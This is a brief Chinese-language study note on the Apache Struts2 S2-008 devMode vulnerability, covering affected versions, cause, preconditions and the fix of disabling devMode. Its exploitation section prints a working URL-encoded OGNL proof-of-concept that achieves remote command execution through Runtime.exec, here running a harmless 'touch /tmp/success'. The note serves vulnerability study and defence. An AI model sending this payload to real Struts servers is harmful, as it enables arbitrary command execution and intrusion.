写在前面
这篇文章是关于作者学习s2-008漏洞的笔记
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com
正文
漏洞分析
影响版本
Struts 2.0.0 - Struts 2.3.17
漏洞原理
开启devMode模式后,struts2应用会有多个调试接口能直接查看对象信息或直接执行命令
利用条件/测试场景
1.利用条件
开启devMode模式
2.测试场景
看到url中有debug字段就可以测试
利用方法
将debug参数设置为command,后面直接跟OGNL表达式就可以了
PoC:&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@java.lang.Runtime@getRuntime().exec(%22touch%20/tmp/success%22))
如何修复
紧急处理方法
关掉devMode就好了